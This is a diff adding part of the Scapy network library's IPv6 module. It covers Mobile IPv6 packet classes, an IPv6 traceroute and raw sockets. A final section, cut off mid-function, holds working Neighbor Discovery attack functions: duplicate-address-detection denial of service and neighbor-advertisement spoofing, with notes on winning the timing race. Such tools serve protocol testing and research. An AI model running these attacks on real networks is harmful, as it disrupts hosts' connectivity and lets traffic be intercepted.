+    name = 'MIPv6 Option - Nonce Indices'
+    fields_desc = [ ByteEnumField('otype', 4, _mobopttypes),
+                    ByteField('olen', 16),
+                    ShortField('hni', 0),
+                    ShortField('coni', 0) ]
+    x = 2 ; y = 0 # alignment requirement: 2n
+
+class MIP6OptBindingAuthData(_MIP6OptAlign, Packet):
+    name = 'MIPv6 Option - Binding Authorization Data'
+    fields_desc = [ ByteEnumField('otype', 5, _mobopttypes),
+                    ByteField('olen', 16),
+                    BitField('authenticator', 0, 96) ]
+    x = 8 ; y = 2 # alignment requirement: 8n+2
+
+class MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963
+    name = 'NEMO Option - Mobile Network Prefix'
+    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
+                    ByteField("olen", 18),
+                    ByteField("reserved", 0),
+                    ByteField("plen", 64),
+                    IP6Field("prefix", "::") ]
+    x = 8 ; y = 4 # alignment requirement: 8n+4
+
+class MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068
+    name = "MIPv6 Option - Link-Layer Address (MH-LLA)"
+    fields_desc = [ ByteEnumField("otype", 7, _mobopttypes),
+                    ByteField("olen", 7),
+                    ByteEnumField("ocode", 2, _rfc4068_lla_optcode),
+                    ByteField("pad", 0),
+                    MACField("lla", ETHER_ANY) ] # Only support ethernet
+    x = 0 ; y = 0 # alignment requirement: none
+
+class MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283
+    name = "MIPv6 Option - Mobile Node Identifier"
+    fields_desc = [ ByteEnumField("otype", 8, _mobopttypes),
+                    FieldLenField("olen", None, length_of="id", fmt="B",
+                                  adjust = lambda pkt,x: x+1),
+                    ByteEnumField("subtype", 1, {1: "NAI"}),
+                    StrLenField("id", "",
+                                length_from = lambda pkt: pkt.olen-1) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+# We only support decoding and basic build. Automatic HMAC computation is
+# too much work for our current needs. It is left to the user (I mean ...
+# you). --arno
+class MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5)
+    name = "MIPv6 Option - Mobility Message Authentication"
+    fields_desc = [ ByteEnumField("otype", 9, _mobopttypes),
+                    FieldLenField("olen", None, length_of="authdata", fmt="B",
+                                  adjust = lambda pkt,x: x+5),
+                    ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option",
+                                                 2: "MN-AAA authentication mobility option"}),
+                    IntField("mspi", None),
+                    StrLenField("authdata", "A"*12,
+                                length_from = lambda pkt: pkt.olen-5) ]
+    x = 4 ; y = 1 # alignment requirement: 4n+1
+
+# Extracted from RFC 1305 (NTP) :
+# NTP timestamps are represented as a 64-bit unsigned fixed-point number,
+# in seconds relative to 0h on 1 January 1900. The integer part is in the
+# first 32 bits and the fraction part in the last 32 bits.
+class NTPTimestampField(LongField):
+    def i2repr(self, pkt, x):
+        if x < ((50*31536000)<<32):
+            return "Some date a few decades ago (%d)" % x
+
+        # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to
+        # January 1st 1970 :
+        delta = -2209075761
+        i = int(x >> 32)
+        j = float(x & 0xffffffff) * 2.0**-32
+        res = i + j + delta
+        t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res))
+
+        return "%s (%d)" % (t, x)
+
+class MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6)
+    name = "MIPv6 option - Replay Protection"
+    fields_desc = [ ByteEnumField("otype", 10, _mobopttypes),
+                    ByteField("olen", 8),
+                    NTPTimestampField("timestamp", 0) ]
+    x = 8 ; y = 2 # alignment requirement: 8n+2
+
+class MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6)
+    name = "MIPv6 option - CGA Parameters Request"
+    fields_desc = [ ByteEnumField("otype", 11, _mobopttypes),
+                    ByteField("olen", 0) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+# XXX TODO: deal with CGA param fragmentation and build of defragmented
+# XXX       version. Passing of a big CGAParam structure should be
+# XXX       simplified. Make it hold packets, by the way  --arno
+class MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1)
+    name = "MIPv6 option - CGA Parameters"
+    fields_desc = [ ByteEnumField("otype", 12, _mobopttypes),
+                    FieldLenField("olen", None, length_of="cgaparams", fmt="B"),
+                    StrLenField("cgaparams", "",
+                                length_from = lambda pkt: pkt.olen) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+class MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2)
+    name = "MIPv6 option - Signature"
+    fields_desc = [ ByteEnumField("otype", 13, _mobopttypes),
+                    FieldLenField("olen", None, length_of="sig", fmt="B"),
+                    StrLenField("sig", "",
+                                length_from = lambda pkt: pkt.olen) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+class MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3)
+    name = "MIPv6 option - Home Keygen Token"
+    fields_desc = [ ByteEnumField("otype", 14, _mobopttypes),
+                    FieldLenField("olen", None, length_of="hkt", fmt="B"),
+                    StrLenField("hkt", "",
+                                length_from = lambda pkt: pkt.olen) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+class MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4)
+    name = "MIPv6 option - Care-of Test Init"
+    fields_desc = [ ByteEnumField("otype", 15, _mobopttypes),
+                    ByteField("olen", 0) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+class MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5)
+    name = "MIPv6 option - Care-of Test"
+    fields_desc = [ ByteEnumField("otype", 16, _mobopttypes),
+                    FieldLenField("olen", None, length_of="cokt", fmt="B"),
+                    StrLenField("cokt", b'\x00'*8,
+                                length_from = lambda pkt: pkt.olen) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+class MIP6OptUnknown(_MIP6OptAlign, Packet):
+    name = 'Scapy6 - Unknown Mobility Option'
+    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
+                    FieldLenField("olen", None, length_of="odata", fmt="B"),
+                    StrLenField("odata", "",
+                                length_from = lambda pkt: pkt.olen) ]
+    x = 0 ; y = 0 # alignment requirement: none
+
+moboptcls = {  0: Pad1,
+               1: PadN,
+               2: MIP6OptBRAdvice,
+               3: MIP6OptAltCoA,
+               4: MIP6OptNonceIndices,
+               5: MIP6OptBindingAuthData,
+               6: MIP6OptMobNetPrefix,
+               7: MIP6OptLLAddr,
+               8: MIP6OptMNID,
+               9: MIP6OptMsgAuth,
+              10: MIP6OptReplayProtection,
+              11: MIP6OptCGAParamsReq,
+              12: MIP6OptCGAParams,
+              13: MIP6OptSignature,
+              14: MIP6OptHomeKeygenToken,
+              15: MIP6OptCareOfTestInit,
+              16: MIP6OptCareOfTest }
+
+
+# Main Mobile IPv6 Classes
+
+mhtypes = {  0: 'BRR',
+             1: 'HoTI',
+             2: 'CoTI',
+             3: 'HoT',
+             4: 'CoT',
+             5: 'BU',
+             6: 'BA',
+             7: 'BE',
+             8: 'Fast BU',
+             9: 'Fast BA',
+            10: 'Fast NA' }
+
+# From http://www.iana.org/assignments/mobility-parameters
+bastatus = {   0: 'Binding Update accepted',
+               1: 'Accepted but prefix discovery necessary',
+             128: 'Reason unspecified',
+             129: 'Administratively prohibited',
+             130: 'Insufficient resources',
+             131: 'Home registration not supported',
+             132: 'Not home subnet',
+             133: 'Not home agent for this mobile node',
+             134: 'Duplicate Address Detection failed',
+             135: 'Sequence number out of window',
+             136: 'Expired home nonce index',
+             137: 'Expired care-of nonce index',
+             138: 'Expired nonces',
+             139: 'Registration type change disallowed',
+             140: 'Mobile Router Operation not permitted',
+             141: 'Invalid Prefix',
+             142: 'Not Authorized for Prefix',
+             143: 'Forwarding Setup failed (prefixes missing)',
+             144: 'MIPV6-ID-MISMATCH',
+             145: 'MIPV6-MESG-ID-REQD',
+             146: 'MIPV6-AUTH-FAIL',
+             147: 'Permanent home keygen token unavailable',
+             148: 'CGA and signature verification failed',
+             149: 'Permanent home keygen token exists',
+             150: 'Non-null home nonce index expected' }
+
+
+class _MobilityHeader(Packet):
+    name = 'Dummy IPv6 Mobility Header'
+    overload_fields = { IPv6: { "nh": 135 }}
+
+    def post_build(self, p, pay):
+        p += pay
+        l = self.len
+        if self.len is None:
+            l = (len(p)-8)//8
+        p = chb(p[0]) + struct.pack("B", l) + chb(p[2:])
+        if self.cksum is None:
+            cksum = in6_chksum(135, self.underlayer, p)
+        else:
+            cksum = self.cksum
+        p = chb(p[:4])+struct.pack("!H", cksum)+chb(p[6:])
+        return p
+
+
+class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg
+    name = "IPv6 Mobility Header - Generic Message"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None),
+                    ByteEnumField("mhtype", None, mhtypes),
+                    ByteField("res", None),
+                    XShortField("cksum", None),
+                    StrLenField("msg", b"\x00"*2,
+                                length_from = lambda pkt: 8*pkt.len-6) ]
+
+
+
+# TODO: make a generic _OptionsField
+class _MobilityOptionsField(PacketListField):
+    __slots__ = ["curpos"]
+    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
+        self.curpos = curpos
+        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        return s[l:],self.m2i(pkt, s[:l])
+
+    def i2len(self, pkt, i):
+        return len(self.i2m(pkt, i))
+
+    def m2i(self, pkt, x):
+        opt = []
+        while x:
+            o = orb(x[0]) # Option type
+            cls = self.cls
+            if o in moboptcls:
+                cls = moboptcls[o]
+            try:
+                op = cls(x)
+            except:
+                op = self.cls(x)
+            opt.append(op)
+            if isinstance(op.payload, conf.raw_layer):
+                x = op.payload.load
+                del(op.payload)
+            else:
+                x = b""
+        return opt
+
+    def i2m(self, pkt, x):
+        autopad = None
+        try:
+            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
+        except:
+            autopad = 1
+
+        if not autopad:
+            return b"".join(map(str, x))
+
+        curpos = self.curpos
+        s = b""
+        for p in x:
+            d = p.alignment_delta(curpos)
+            curpos += d
+            if d == 1:
+                s += raw(Pad1())
+            elif d != 0:
+                s += raw(PadN(optdata=b'\x00'*(d-2)))
+            pstr = raw(p)
+            curpos += len(pstr)
+            s += pstr
+
+        # Let's make the class including our option field
+        # a multiple of 8 octets long
+        d = curpos % 8
+        if d == 0:
+            return s
+        d = 8 - d
+        if d == 1:
+            s += raw(Pad1())
+        elif d != 0:
+            s += raw(PadN(optdata=b'\x00'*(d-2)))
+
+        return s
+
+    def addfield(self, pkt, s, val):
+        return s+self.i2m(pkt, val)
+
+class MIP6MH_BRR(_MobilityHeader):
+    name = "IPv6 Mobility Header - Binding Refresh Request"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None),
+                    ByteEnumField("mhtype", 0, mhtypes),
+                    ByteField("res", None),
+                    XShortField("cksum", None),
+                    ShortField("res2", None),
+                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
+                    _MobilityOptionsField("options", [], MIP6OptUnknown, 8,
+                                          length_from = lambda pkt: 8*pkt.len) ]
+    overload_fields = { IPv6: { "nh": 135 } }
+    def hashret(self):
+        # Hack: BRR, BU and BA have the same hashret that returns the same
+        #       value b"\x00\x08\x09" (concatenation of mhtypes). This is
+        #       because we need match BA with BU and BU with BRR. --arno
+        return b"\x00\x08\x09"
+
+class MIP6MH_HoTI(_MobilityHeader):
+    name = "IPv6 Mobility Header - Home Test Init"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None),
+                    ByteEnumField("mhtype", 1, mhtypes),
+                    ByteField("res", None),
+                    XShortField("cksum", None),
+                    StrFixedLenField("reserved", b"\x00"*2, 2),
+                    StrFixedLenField("cookie", b"\x00"*8, 8),
+                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
+                    _MobilityOptionsField("options", [], MIP6OptUnknown, 16,
+                                          length_from = lambda pkt: 8*(pkt.len-1)) ]
+    overload_fields = { IPv6: { "nh": 135 } }
+    def hashret(self):
+        return raw(self.cookie)
+
+class MIP6MH_CoTI(MIP6MH_HoTI):
+    name = "IPv6 Mobility Header - Care-of Test Init"
+    mhtype = 2
+    def hashret(self):
+        return raw(self.cookie)
+
+class MIP6MH_HoT(_MobilityHeader):
+    name = "IPv6 Mobility Header - Home Test"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None),
+                    ByteEnumField("mhtype", 3, mhtypes),
+                    ByteField("res", None),
+                    XShortField("cksum", None),
+                    ShortField("index", None),
+                    StrFixedLenField("cookie", b"\x00"*8, 8),
+                    StrFixedLenField("token", b"\x00"*8, 8),
+                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
+                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
+                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
+    overload_fields = { IPv6: { "nh": 135 } }
+    def hashret(self):
+        return raw(self.cookie)
+    def answers(self, other):
+        if (isinstance(other, MIP6MH_HoTI) and
+            self.cookie == other.cookie):
+            return 1
+        return 0
+
+class MIP6MH_CoT(MIP6MH_HoT):
+    name = "IPv6 Mobility Header - Care-of Test"
+    mhtype = 4
+    def hashret(self):
+        return raw(self.cookie)
+
+    def answers(self, other):
+        if (isinstance(other, MIP6MH_CoTI) and
+            self.cookie == other.cookie):
+            return 1
+        return 0
+
+class LifetimeField(ShortField):
+    def i2repr(self, pkt, x):
+        return "%d sec" % (4*x)
+
+class MIP6MH_BU(_MobilityHeader):
+    name = "IPv6 Mobility Header - Binding Update"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
+                    ByteEnumField("mhtype", 5, mhtypes),
+                    ByteField("res", None),
+                    XShortField("cksum", None),
+                    XShortField("seq", None), # TODO: ShortNonceField
+                    FlagsField("flags", "KHA", 7, "PRMKLHA"),
+                    XBitField("reserved", 0, 9),
+                    LifetimeField("mhtime", 3), # unit == 4 seconds
+                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
+                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
+                                          length_from = lambda pkt: 8*pkt.len - 4) ]
+    overload_fields = { IPv6: { "nh": 135 } }
+
+    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
+        return b"\x00\x08\x09"
+
+    def answers(self, other):
+        if isinstance(other, MIP6MH_BRR):
+            return 1
+        return 0
+
+class MIP6MH_BA(_MobilityHeader):
+    name = "IPv6 Mobility Header - Binding ACK"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
+                    ByteEnumField("mhtype", 6, mhtypes),
+                    ByteField("res", None),
+                    XShortField("cksum", None),
+                    ByteEnumField("status", 0, bastatus),
+                    FlagsField("flags", "K", 3, "PRK"),
+                    XBitField("res2", None, 5),
+                    XShortField("seq", None), # TODO: ShortNonceField
+                    XShortField("mhtime", 0), # unit == 4 seconds
+                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
+                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
+                                          length_from = lambda pkt: 8*pkt.len-4) ]
+    overload_fields = { IPv6: { "nh": 135 }}
+
+    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
+        return b"\x00\x08\x09"
+
+    def answers(self, other):
+        if (isinstance(other, MIP6MH_BU) and
+            other.mhtype == 5 and
+            self.mhtype == 6 and
+            other.flags & 0x1 and # Ack request flags is set
+            self.seq == other.seq):
+            return 1
+        return 0
+
+_bestatus = { 1: 'Unknown binding for Home Address destination option',
+              2: 'Unrecognized MH Type value' }
+
+# TODO: match Binding Error to its stimulus
+class MIP6MH_BE(_MobilityHeader):
+    name = "IPv6 Mobility Header - Binding Error"
+    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
+                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
+                    ByteEnumField("mhtype", 7, mhtypes),
+                    ByteField("res", 0),
+                    XShortField("cksum", None),
+                    ByteEnumField("status", 0, _bestatus),
+                    ByteField("reserved", 0),
+                    IP6Field("ha", "::"),
+                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
+                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
+    overload_fields = { IPv6: { "nh": 135 }}
+
+_mip6_mhtype2cls = { 0: MIP6MH_BRR,
+                     1: MIP6MH_HoTI,
+                     2: MIP6MH_CoTI,
+                     3: MIP6MH_HoT,
+                     4: MIP6MH_CoT,
+                     5: MIP6MH_BU,
+                     6: MIP6MH_BA,
+                     7: MIP6MH_BE }
+
+
+
+#############################################################################
+#############################################################################
+###                             Traceroute6                               ###
+#############################################################################
+#############################################################################
+
+class  AS_resolver6(AS_resolver_riswhois):
+    def _resolve_one(self, ip):
+        """
+        overloaded version to provide a Whois resolution on the
+        embedded IPv4 address if the address is 6to4 or Teredo.
+        Otherwise, the native IPv6 address is passed.
+        """
+
+        if in6_isaddr6to4(ip): # for 6to4, use embedded @
+            tmp = inet_pton(socket.AF_INET6, ip)
+            addr = inet_ntop(socket.AF_INET, tmp[2:6])
+        elif in6_isaddrTeredo(ip): # for Teredo, use mapped address
+            addr = teredoAddrExtractInfo(ip)[2]
+        else:
+            addr = ip
+
+        _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)
+
+        if asn.startswith("AS"):
+            try:
+                asn = int(asn[2:])
+            except ValueError:
+                pass
+
+        return ip,asn,desc        
+
+class TracerouteResult6(TracerouteResult):
+    __slots__ = []
+    def show(self):
+        return self.make_table(lambda s_r: (s_r[0].sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 !
+                                            s_r[0].hlim,
+                                            s_r[1].sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+
+                                                           "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+
+                                                           "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+
+                                                           "{ICMPv6EchoReply:%ir,type%}")))
+
+    def get_trace(self):
+        trace = {}
+
+        for s,r in self.res:
+            if IPv6 not in s:
+                continue
+            d = s[IPv6].dst
+            if d not in trace:
+                trace[d] = {}
+
+            t = not (ICMPv6TimeExceeded in r or
+                     ICMPv6DestUnreach in r or
+                     ICMPv6PacketTooBig in r or
+                     ICMPv6ParamProblem in r)
+
+            trace[d][s[IPv6].hlim] = r[IPv6].src, t
+
+        for k in six.itervalues(trace):
+            try:
+                m = min(x for x, y in six.itervalues(k) if y)
+            except ValueError:
+                continue
+            for l in list(k):  # use list(): k is modified in the loop
+                if l > m:
+                    del k[l]
+
+        return trace
+
+    def graph(self, ASres=AS_resolver6(), **kargs):
+        TracerouteResult.graph(self, ASres=ASres, **kargs)
+    
+@conf.commands.register
+def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), 
+                l4 = None, timeout=2, verbose=None, **kargs):
+    """Instant TCP traceroute using IPv6
+    traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None
+    """
+    if verbose is None:
+        verbose = conf.verb
+
+    if l4 is None:
+        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport),
+                 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs)
+    else:
+        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4,
+                 timeout=timeout, verbose=verbose, **kargs)
+
+    a = TracerouteResult6(a.res)
+
+    if verbose:
+        a.display()
+
+    return a,b
+
+#############################################################################
+#############################################################################
+###                                Sockets                                ###
+#############################################################################
+#############################################################################
+
+class L3RawSocket6(L3RawSocket):
+    def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0):
+        L3RawSocket.__init__(self, type, filter, iface, promisc)
+        # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292)
+        self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
+        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
+
+def IPv6inIP(dst='203.178.135.36', src=None):
+  _IPv6inIP.dst = dst
+  _IPv6inIP.src = src
+  if not conf.L3socket == _IPv6inIP:
+    _IPv6inIP.cls = conf.L3socket
+  else:
+    del(conf.L3socket)
+  return _IPv6inIP
+
+class _IPv6inIP(SuperSocket):
+  dst = '127.0.0.1'
+  src = None
+  cls = None
+
+  def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args):
+    SuperSocket.__init__(self, family, type, proto)
+    self.worker = self.cls(**args)
+
+  def set(self, dst, src=None):
+    _IPv6inIP.src = src
+    _IPv6inIP.dst = dst
+
+  def nonblock_recv(self):
+    p = self.worker.nonblock_recv()
+    return self._recv(p)
+
+  def recv(self, x):
+    p = self.worker.recv(x)
+    return self._recv(p, x)
+
+  def _recv(self, p, x=MTU):
+    if p is None:
+      return p
+    elif isinstance(p, IP):
+      # TODO: verify checksum
+      if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:
+        if isinstance(p.payload, IPv6):
+          return p.payload
+    return p
+
+  def send(self, x):
+    return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x)
+
+
+#############################################################################
+#############################################################################
+###                  Neighbor Discovery Protocol Attacks                  ###
+#############################################################################
+#############################################################################
+
+def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
+                        tgt_filter=None, reply_mac=None):
+    """
+    Internal generic helper accepting a specific callback as first argument,
+    for NS or NA reply. See the two specific functions below.
+    """
+
+    def is_request(req, mac_src_filter, tgt_filter):
+        """
+        Check if packet req is a request
+        """
+
+        # Those simple checks are based on Section 5.4.2 of RFC 4862
+        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
+            return 0
+
+        # Get and compare the MAC address
+        mac_src = req[Ether].src
+        if mac_src_filter and mac_src != mac_src_filter:
+            return 0
+
+        # Source must be the unspecified address
+        if req[IPv6].src != "::":
+            return 0
+
+        # Check destination is the link-local solicited-node multicast
+        # address associated with target address in received NS
+        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
+        if tgt_filter and tgt != tgt_filter:
+            return 0
+        received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst)
+        expected_snma = in6_getnsma(tgt)
+        if received_snma != expected_snma:
+            return 0
+
+        return 1
+
+    if not iface:
+        iface = conf.iface
+
+    # To prevent sniffing our own traffic
+    if not reply_mac:
+        reply_mac = get_if_hwaddr(iface)
+    sniff_filter = "icmp6 and not ether src %s" % reply_mac
+
+    sniff(store=0,
+          filter=sniff_filter,
+          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
+          prn=lambda x: reply_callback(x, reply_mac, iface),
+          iface=iface)
+
+
+def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
+                              reply_mac=None):
+    """
+    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
+    3756. This is done by listening incoming NS messages sent from the
+    unspecified address and sending a NS reply for the target address,
+    leading the peer to believe that another node is also performing DAD
+    for that address.
+
+    By default, the fake NS sent to create the DoS uses:
+     - as target address the target address found in received NS.
+     - as IPv6 source address: the unspecified address (::).
+     - as IPv6 destination address: the link-local solicited-node multicast
+       address derived from the target address in received NS.
+     - the mac address of the interface as source (or reply_mac, see below).
+     - the multicast mac address derived from the solicited node multicast
+       address used as IPv6 destination address.
+
+    Following arguments can be used to change the behavior:
+
+    iface: a specific interface (e.g. "eth0") of the system on which the
+         DoS should be launched. If None is provided conf.iface is used.
+
+    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
+         Only NS messages received from this source will trigger replies.
+         This allows limiting the effects of the DoS to a single target by
+         filtering on its mac address. The default value is None: the DoS
+         is not limited to a specific mac address.
+
+    tgt_filter: Same as previous but for a specific target IPv6 address for
+         received NS. If the target address in the NS message (not the IPv6
+         destination address) matches that address, then a fake reply will
+         be sent, i.e. the emitter will be a target of the DoS.
+
+    reply_mac: allow specifying a specific source mac address for the reply,
+         i.e. to prevent the use of the mac address of the interface.
+    """
+
+    def ns_reply_callback(req, reply_mac, iface):
+        """
+        Callback that reply to a NS by sending a similar NS
+        """
+
+        # Let's build a reply and send it
+        mac = req[Ether].src
+        dst = req[IPv6].dst
+        tgt = req[ICMPv6ND_NS].tgt
+        rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt)
+        sendp(rep, iface=iface, verbose=0)
+
+        print("Reply NS for target address %s (received from %s)" % (tgt, mac))
+
+    _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
+                        tgt_filter, reply_mac)
+
+
+def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
+                              reply_mac=None):
+    """
+    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
+    3756. This is done by listening incoming NS messages *sent from the
+    unspecified address* and sending a NA reply for the target address,
+    leading the peer to believe that another node is also performing DAD
+    for that address.
+
+    By default, the fake NA sent to create the DoS uses:
+     - as target address the target address found in received NS.
+     - as IPv6 source address: the target address found in received NS.
+     - as IPv6 destination address: the link-local solicited-node multicast
+       address derived from the target address in received NS.
+     - the mac address of the interface as source (or reply_mac, see below).
+     - the multicast mac address derived from the solicited node multicast
+       address used as IPv6 destination address.
+     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
+       with the mac address used as source of the NA.
+
+    Following arguments can be used to change the behavior:
+
+    iface: a specific interface (e.g. "eth0") of the system on which the
+          DoS should be launched. If None is provided conf.iface is used.
+
+    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
+         Only NS messages received from this source will trigger replies.
+         This allows limiting the effects of the DoS to a single target by
+         filtering on its mac address. The default value is None: the DoS
+         is not limited to a specific mac address.
+
+    tgt_filter: Same as previous but for a specific target IPv6 address for
+         received NS. If the target address in the NS message (not the IPv6
+         destination address) matches that address, then a fake reply will
+         be sent, i.e. the emitter will be a target of the DoS.
+
+    reply_mac: allow specifying a specific source mac address for the reply,
+         i.e. to prevent the use of the mac address of the interface. This
+         address will also be used in the Target Link-Layer Address option.
+    """
+
+    def na_reply_callback(req, reply_mac, iface):
+        """
+        Callback that reply to a NS with a NA
+        """
+
+        # Let's build a reply and send it
+        mac = req[Ether].src
+        dst = req[IPv6].dst
+        tgt = req[ICMPv6ND_NS].tgt
+        rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst)
+        rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
+        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
+        sendp(rep, iface=iface, verbose=0)
+
+        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
+
+    _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
+                        tgt_filter, reply_mac)
+
+
+def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
+                           reply_mac=None, router=False):
+    """
+    The main purpose of this function is to send fake Neighbor Advertisement
+    messages to a victim. As the emission of unsolicited Neighbor Advertisement
+    is pretty pointless (from an attacker standpoint) because it will not
+    lead to a modification of a victim's neighbor cache, the function send
+    advertisements in response to received NS (NS sent as part of the DAD,
+    i.e. with an unspecified address as source, are not considered).
+
+    By default, the fake NA sent to create the DoS uses:
+     - as target address the target address found in received NS.
+     - as IPv6 source address: the target address
+     - as IPv6 destination address: the source IPv6 address of received NS
+       message.
+     - the mac address of the interface as source (or reply_mac, see below).
+     - the source mac address of the received NS as destination macs address
+       of the emitted NA.
+     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
+       filled with the mac address used as source of the NA.
+
+    Following arguments can be used to change the behavior:
+
+    iface: a specific interface (e.g. "eth0") of the system on which the
+          DoS should be launched. If None is provided conf.iface is used.
+
+    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
+         Only NS messages received from this source will trigger replies.
+         This allows limiting the effects of the DoS to a single target by
+         filtering on its mac address. The default value is None: the DoS
+         is not limited to a specific mac address.
+
+    tgt_filter: Same as previous but for a specific target IPv6 address for
+         received NS. If the target address in the NS message (not the IPv6
+         destination address) matches that address, then a fake reply will
+         be sent, i.e. the emitter will be a target of the DoS.
+
+    reply_mac: allow specifying a specific source mac address for the reply,
+         i.e. to prevent the use of the mac address of the interface. This
+         address will also be used in the Target Link-Layer Address option.
+
+    router: by the default (False) the 'R' flag in the NA used for the reply
+         is not set. If the parameter is set to True, the 'R' flag in the
+         NA is set, advertising us as a router.
+
+    Please, keep the following in mind when using the function: for obvious
+    reasons (kernel space vs. Python speed), when the target of the address
+    resolution is on the link, the sender of the NS receives 2 NA messages
+    in a row, the valid one and our fake one. The second one will overwrite
+    the information provided by the first one, i.e. the natural latency of
+    Scapy helps here.
+
+    In practice, on a common Ethernet link, the emission of the NA from the
+    genuine target (kernel stack) usually occurs in the same millisecond as
+    the receipt of the NS. The NA generated by Scapy6 will usually come after
+    something 20+ ms. On a usual testbed for instance, this difference is
+    sufficient to have the first data packet sent from the victim to the
+    destination before it even receives our fake NA.
+    """
+
+    def is_request(req, mac_src_filter, tgt_filter):
+        """
+        Check if packet req is a request
+        """
+
